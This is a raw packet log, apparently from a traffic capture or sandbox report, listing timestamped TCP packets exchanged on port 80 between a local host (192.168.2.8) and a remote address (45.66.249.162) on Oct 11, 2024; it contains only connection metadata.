Oct 11, 2024 22:32:33.362831116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362850904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362890959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362911940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362922907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362941980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362943888 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362957001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362973928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362977982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362977982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362997055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362997055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363006115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363013983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.363022089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363029957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.363040924 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363044024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.363060951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.363061905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363076925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363076925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.363089085 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363094091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.363111973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.363114119 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363126993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.363131046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363143921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.363147020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363162994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363163948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.363179922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.363183975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363195896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.363198996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363214016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363214970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.363230944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.363234997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363250971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.363265991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.479731083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.479749918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.479773045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.479851007 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.479851961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.479948044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.479993105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480088949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480099916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480118990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480129004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480129957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480146885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480154037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480159044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480165005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480180979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480190992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480201006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480211020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480225086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480238914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480238914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480242014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480252028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480268955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480281115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480290890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480295897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480309010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480318069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480320930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480341911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480345964 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480365992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480370998 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480385065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480397940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480397940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480406046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480410099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480417013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480422020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480441093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480448961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480453014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480469942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480479002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480489016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480493069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480506897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480515957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480537891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480576038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480586052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480602980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480612040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480618954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480631113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480654001 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480690956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480725050 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480736971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480756998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480768919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480772018 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480787039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480787039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480801105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480803013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480818987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480828047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480829000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480839968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480854034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480860949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480870008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480882883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480889082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480896950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480904102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480914116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480921984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480923891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.480933905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480947971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480968952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.480969906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481010914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481012106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481021881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481059074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481060028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481102943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481141090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481156111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481184006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481195927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481257915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481302977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481304884 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481314898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481332064 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481338978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481367111 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481370926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481380939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481386900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481399059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481403112 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481436968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481439114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481451988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481467962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481472015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481506109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481520891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481530905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481548071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481555939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481561899 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481573105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481576920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481586933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481599092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481626987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481630087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481637001 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481663942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481677055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481694937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481756926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481766939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481803894 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.481983900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.481996059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482013941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482033968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482043028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482049942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482062101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482067108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482080936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482093096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482114077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482120991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482125044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482131004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482136965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482141972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482244968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482253075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482265949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482283115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482300997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482312918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482321024 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482336044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482346058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482362986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482362986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482384920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482386112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482400894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482412100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482422113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482430935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482446909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482460976 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482465982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482484102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482501984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482511044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482518911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482559919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482588053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482598066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482610941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482626915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482645988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482656956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482660055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482676983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482686043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482697010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482713938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482721090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482728958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482743025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.482757092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.482784033 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.565412045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.565493107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.565507889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.565531015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.565561056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.565604925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638200998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638242960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638282061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638304949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638314962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638324022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638334990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638345957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638354063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638375044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638387918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638397932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638401031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638422012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638422966 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638432980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638443947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638447046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638465881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638475895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638478041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638495922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638508081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638536930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638545036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638559103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638580084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638606071 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638617992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638627052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638645887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638649940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638657093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638669014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638675928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638689041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638720036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638783932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638793945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638817072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638818979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638830900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638848066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638875008 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638880968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638891935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638907909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.638916969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638936996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638952017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.638994932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639004946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639022112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639029026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639044046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639045954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639059067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639065981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639071941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639084101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639105082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639113903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639125109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639142990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639156103 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639192104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639214039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639230013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639238119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639249086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639281988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639307022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639317989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639333963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639343977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639353037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639369011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639408112 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639436960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639477015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639499903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639511108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639528036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639538050 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639554977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639575958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639626980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639667988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.639700890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.639738083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.678904057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.914583921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.962949991 CEST	80	49707	45.66.249.162	192.168.2.8
